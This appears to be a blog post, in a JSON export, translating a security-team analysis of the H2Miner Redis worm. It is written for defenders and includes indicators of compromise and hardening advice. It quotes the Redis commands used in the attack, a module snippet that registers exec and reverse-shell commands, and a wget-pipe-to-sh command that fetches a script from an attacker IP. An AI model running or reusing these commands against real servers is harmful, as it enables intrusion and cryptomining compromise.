{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Um dia atr\u00e1s, um dos servidores do meu projeto foi atacado por um verme semelhante. Em busca da resposta para a pergunta \"o que foi isso?\", encontrei um artigo incr\u00edvel da equipe de Seguran\u00e7a da Alibaba Cloud. Como n\u00e3o encontrei este artigo no Habr, decidi traduzi-lo especialmente para voc\u00ea <3\n<\/p><\/blockquote>\n

Introdu\u00e7\u00e3o<\/h2>\n

\nRecentemente, a equipe de seguran\u00e7a da Alibaba Cloud descobriu um surto repentino do H2Miner. Esse tipo de verme malicioso utiliza a falta de autoriza\u00e7\u00e3o ou senhas fracas para o Redis como portas de entrada para seus sistemas, ap\u00f3s o que sincroniza seu pr\u00f3prio m\u00f3dulo malicioso com o slave atrav\u00e9s da sincroniza\u00e7\u00e3o master-slave e, finalmente, carrega esse m\u00f3dulo malicioso na m\u00e1quina atacada e executa instru\u00e7\u00f5es maliciosas.<\/p>\n

No passado, os ataques aos seus sistemas eram principalmente realizados por m\u00e9todos que inclu\u00edam tarefas agendadas ou chaves SSH que eram gravadas em sua m\u00e1quina ap\u00f3s o invasor acessar o Redis. Felizmente, esse m\u00e9todo n\u00e3o pode ser frequentemente utilizado devido a problemas de controle de permiss\u00f5es ou devido a diferentes vers\u00f5es de sistema. No entanto, esse m\u00e9todo de carregar um m\u00f3dulo malicioso pode executar comandos do atacante diretamente ou acessar o shell, o que \u00e9 perigoso para o seu sistema.<\/p>\n

Devido ao grande n\u00famero de servidores<\/a> Redis dispon\u00edveis na internet (quase 1 milh\u00e3o), a equipe de seguran\u00e7a da Alibaba Cloud, como um lembrete amig\u00e1vel, recomenda que os usu\u00e1rios n\u00e3o concedam acesso ao Redis pela rede e verifiquem regularmente a robustez de suas senhas, al\u00e9m de verificar se n\u00e3o est\u00e3o suscet\u00edveis a ataques de for\u00e7a bruta.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner \u00e9 um botnet de minera\u00e7\u00e3o para sistemas baseados em Linux, que pode invadir seu sistema de v\u00e1rias maneiras, incluindo falta de autoriza\u00e7\u00e3o no Hadoop yarn, Docker e vulnerabilidade de execu\u00e7\u00e3o remota de comando no Redis (RCE). O botnet opera fazendo o download de scripts maliciosos e malware para minerar seus dados, expandindo horizontalmente o ataque e mantendo comunica\u00e7\u00e3o de comando e controle (C&C).
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nPavel Toporkov compartilhou conhecimentos sobre este assunto na ZeroNights 2018. Ap\u00f3s a vers\u00e3o 4.0, o Redis passou a suportar a fun\u00e7\u00e3o de carregar m\u00f3dulos externos, que oferece aos usu\u00e1rios a possibilidade de carregar arquivos .so, compilados em C, no Redis para executar comandos espec\u00edficos. Embora esta fun\u00e7\u00e3o seja \u00fatil, ela cont\u00e9m uma vulnerabilidade em que arquivos podem ser sincronizados com o slave no modo master-slave atrav\u00e9s do fullresync. Isso pode ser explorado por um invasor para transferir arquivos .so maliciosos. Ap\u00f3s a transfer\u00eancia, os criminosos carregam o m\u00f3dulo na inst\u00e2ncia Redis comprometida e executam qualquer comando.<\/p>\n

An\u00e1lise do worm malicioso<\/h2>\n

\nRecentemente, a equipe de seguran\u00e7a da Alibaba Cloud descobriu que o n\u00famero de mineradores maliciosos H2Miner aumentou drasticamente. De acordo com a an\u00e1lise, o processo geral de ocorr\u00eancia do ataque \u00e9 o seguinte:<\/p>\n

\"Uma
\n
\nH2Miner utiliza RCE Redis para um ataque completo. Primeiro, os criminosos atacam servidores Redis desprotegidos ou servidores com senhas fracas.<\/p>\n

Em seguida, eles usam o comando config set dbfilename red2.so<\/code> para alterar o nome do arquivo. Ap\u00f3s isso, os atacantes executam o comando slaveof<\/code> para definir o endere\u00e7o do host de replica\u00e7\u00e3o master-slave. <\/p>\n

Quando a inst\u00e2ncia Redis comprometida estabelece uma conex\u00e3o master-slave com o Redis malicioso pertencente ao invasor, o atacante envia o m\u00f3dulo infectado usando o comando fullresync para sincronizar os arquivos. Ent\u00e3o, o arquivo red2.so ser\u00e1 carregado na m\u00e1quina comprometida. Depois, os invasores utilizam o m\u00f3dulo .\/red2.so para carregar este arquivo .so. O m\u00f3dulo pode executar comandos do invasor ou iniciar uma conex\u00e3o reversa (backdoor) para obter acesso \u00e0 m\u00e1quina comprometida.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nAp\u00f3s executar um comando malicioso, como \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, o invasor ir\u00e1 apagar o nome do arquivo de backup e descarregar o m\u00f3dulo do sistema para eliminar vest\u00edgios. No entanto, o arquivo red2.so ainda estar\u00e1 presente na m\u00e1quina comprometida. Os usu\u00e1rios s\u00e3o recomendados a estarem atentos a esse arquivo suspeito na pasta de sua inst\u00e2ncia Redis.<\/p>\n
Al\u00e9m de eliminar alguns processos maliciosos para roubo de recursos, o invasor seguiu um roteiro malicioso, carregando e executando arquivos bin\u00e1rios para 142.44.191.122\/kinsing<\/a><\/noindex>. Isso significa que o nome do processo ou o nome do diret\u00f3rio contendo kinsing no host pode indicar que essa m\u00e1quina foi infectada por este v\u00edrus.<\/p>\n
De acordo com os resultados da engenharia reversa, o malware executa principalmente as seguintes fun\u00e7\u00f5es:<\/p>\n